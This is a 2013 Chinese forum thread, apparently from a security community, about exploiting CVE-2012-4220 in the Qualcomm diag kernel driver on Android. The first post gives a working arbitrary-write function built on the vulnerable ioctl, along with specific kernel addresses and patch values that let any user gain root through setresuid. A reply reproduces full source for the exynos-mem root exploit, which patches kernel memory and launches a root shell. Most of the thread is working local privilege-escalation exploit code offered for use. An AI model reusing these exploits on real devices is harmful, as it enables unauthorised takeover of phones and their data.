首页
论坛
课程
招聘
[讨论]CVE-2012-4220之利用
2013-1-24 00:58 14464

[讨论]CVE-2012-4220之利用

2013-1-24 00:58
14464
去年年底高通的漏洞,应该影响了很多机器。
有问题的代码片段:
include/linux/diagchar.h
..
#define DIAG_IOCTL_GET_DELAYED_RSP_ID   8
...
struct diagpkt_delay_params{
  void *rsp_ptr;
  int size;
  int *num_bytes_ptr;
};
...

driver/char/diag/diagchar_core.c
...
/* delayed_rsp_id 0 represents no delay in the response. Any other number
    means that the diag packet has a delayed response. */
static uint16_t delayed_rsp_id = 1;
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
/* This macro gets the next delayed respose id. Once it reaches
 DIAGPKT_MAX_DELAYED_RSP, it stays at DIAGPKT_MAX_DELAYED_RSP */

#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         \
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
...
  } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
    struct diagpkt_delay_params *delay_params =
          (struct diagpkt_delay_params *) ioarg;

    if ((delay_params->rsp_ptr) &&
     (delay_params->size == sizeof(delayed_rsp_id)) &&
         (delay_params->num_bytes_ptr)) {
      *((uint16_t *)delay_params->rsp_ptr) =
        DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
      *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
      success = 0;
    }
...


rsp_ptr和num_bytes_ptr都未检查,可以使用任意值。于是可以这样写个poke16函数,修改任意地址内容的值。
static int poke16(int fd, void *magic, void *addr, uint16_t val) {
  int ret, num;
  uint16_t rsp, loop;
  struct diagpkt_delay_params p;

    LOGD("%s:%d: enter.", __func__, __LINE__);
    LOGD("%s:%d %d %p %p 0x%04x", __func__, __LINE__, fd, magic, addr, val);
    // orz
    if (val < 3) {
        LOGD("%s:%d: val < 3 is not supported.", __func__, __LINE__);
        return -1;
    }
    // delayed_rsp_id will ++ after every call
  p.rsp_ptr = &rsp;
  p.size = sizeof(rsp);
  p.num_bytes_ptr = #
  ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
    if (ret < 0) {
    perror("ioctl");
    LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
    return -1;
    }
    rsp += 1;
    LOGD("%s:%d: delayed_rsp_id = %04x, val = %04x", __func__, __LINE__, rsp, val);
    if (rsp > val) {
        // make delayed_rsp_id = 2
      p.rsp_ptr = &rsp;
      p.size = sizeof(rsp);
      p.num_bytes_ptr = magic;
      ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
        if (ret < 0) {
        perror("ioctl");
        LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
        return -1;
        }
        //
        rsp = 2;
    }
    // loop
    loop = val - rsp;
    LOGD("%s:%d: loop = %04x", __func__, __LINE__, loop);
    while (loop--) {
        p.rsp_ptr = &rsp;
        p.size = sizeof(rsp);
        p.num_bytes_ptr = #
        ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
        if (ret < 0) {
          perror("ioctl");
          LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
          return -1;
        }        
    }
    // delayed_rsp_id should be val now
  p.rsp_ptr = addr;
  p.size = sizeof(rsp);
  p.num_bytes_ptr = #
  ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
  if (ret < 0) {
    perror("ioctl");
    LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
    return -1;
  }
    LOGD("%s:%d leave.", __func__, __LINE__);
  return 0;
}


已经用MT25i测试通过了,版本4.1.B.0.479,delayed_resp_id的地址是0x8077e958,然后我直接补丁了sys_setresuid和sys_setresgid,poke16(0x800eab5f,0x01eb)和poke16(0x800eaf2f,0x01eb),这样任意用户都可以用setresuid提升权限。总的来说这个漏洞利用起来比较麻烦。。。不知大家有没有更好的方法?

[注意] 招人!base上海,课程运营、市场多个坑位等你投递!

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 42
活跃值: 活跃值 (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
windson 活跃值 2013-1-24 15:41
2
0
不小心在这里看到大师了~~
我的那台HTC找sys_setresuid和sys_setresgid的地址一直不对~~
怎么破?
雪    币: 1795
活跃值: 活跃值 (655)
能力值: (RANK:770 )
在线值:
发帖
回帖
粉丝
海风月影 活跃值 18 2013-9-23 18:28
3
0
sys_setresuid和sys_setresgid,还有delayed_resp_id地址,是怎么找到的?
雪    币: 111
活跃值: 活跃值 (75)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
netsniffer 活跃值 2013-9-25 13:17
4
0
一般都是在sys_setresuid和sys_setresgid这些内核符号上爆破,后边应用层直接调用setresuid...
这些内核导出符号一般都要搜索/proc/kallsyms

看看samsung GS3等exynos CPU之前的漏洞利用源码

/*
* exynos-mem device abuse by alephzain
*
* /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
*
* the device is R/W by all users :
* crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem
*
*/

/*
* Abuse it for root shell
*/
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>

#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000

int main(int argc, char **argv, char **env) {
        int fd, i, m, index, result;

        unsigned long *paddr = NULL;
    unsigned long *tmp = NULL;
    unsigned long *restore_ptr_fmt = NULL;
    unsigned long *restore_ptr_setresuid = NULL;
    unsigned long addr_sym;

        int page_size = sysconf(_SC_PAGE_SIZE);
    int length = page_size * page_size;

    /* for root shell */
    char *cmd[2];
    cmd[0] = "/system/bin/sh";
    cmd[1] = NULL;

    /* /proc/kallsyms parsing */
    FILE *kallsyms = NULL;
    char line [512];
    char *ptr;
    char *str;

    bool found = false;

    /* open the door */
        fd = open("/dev/exynos-mem", O_RDWR);
        if (fd == -1) {
                printf("[!] Error opening /dev/exynos-mem\n");
                exit(1);
        }

    /* kernel reside at the start of physical memory, so take some Mb */
    paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
    tmp = paddr;
    if (paddr == MAP_FAILED) {
        printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
        exit(1);
    }

    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */
    for(m = 0; m < length; m += 4) {
        if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
            printf("
  • s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
  •             restore_ptr_fmt = tmp;
                *(unsigned long*)tmp = 0x20207025;
                found = true;
                break;
            }
            tmp++;
        }

        if (found == false) {
            printf("[!] s_show->seq_printf format string not found\n");
            exit(1);
        }

        found = false;

        /* kallsyms now display symbols address */      
        kallsyms = fopen("/proc/kallsyms", "r");
        if (kallsyms == NULL) {
            printf("[!] kallsysms error: %s\n", strerror(errno));
            exit(1);
        }

        /* parse /proc/kallsyms to find sys_setresuid address */
        while((ptr = fgets(line, 512, kallsyms))) {
            str = strtok(ptr, " ");
            addr_sym = strtoul(str, NULL, 16);
            index = 1;
            while(str) {
                str = strtok(NULL, " ");
                index++;
                if (index == 3) {
                    if (strncmp("sys_setresuid\n", str, 14) == 0) {
                        printf("
  • sys_setresuid found at 0x%08X\n",addr_sym);
  •                     found = true;
                    }
                    break;
                }
            }
            if (found) {
                tmp = paddr;
                tmp += (addr_sym - PAGE_OFFSET) >> 2;
                for(m = 0; m < 128; m += 4) {
                    if (*(unsigned long *)tmp == 0xe3500000) {
                        printf("
  • patching sys_setresuid at 0x%08X\n",addr_sym+m);
  •                     restore_ptr_setresuid = tmp;
                        *(unsigned long *)tmp = 0xe3500001;
                        break;
                    }
                    tmp++;
                }
                break;
            }
        }

        fclose(kallsyms);

        /* to be sure memory is updated */
        usleep(100000);

        /* ask for root */
        result = setresuid(0, 0, 0);

        /* restore memory */
        *(unsigned long *)restore_ptr_fmt = 0x204b7025;
        *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
        munmap(paddr, length);
        close(fd);

        if (result) {
            printf("[!] set user root failed: %s\n", strerror(errno));
            exit(1);
        }

        /* execute a root shell */
        execve (cmd[0], cmd, env);

            return 0;
    }
    雪    币: 39
    活跃值: 活跃值 (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    menshen 活跃值 2013-11-26 15:30
    5
    0
    delayed_resp_id地址
    雪    币: 39
    活跃值: 活跃值 (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    menshen 活跃值 2013-12-2 13:53
    6
    0
    怎么获取?
    雪    币: 25
    活跃值: 活跃值 (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    jieniruyan 活跃值 2015-10-9 17:16
    7
    0
    学习。
    长度长度。
    游客
    登录 | 注册 方可回帖
    返回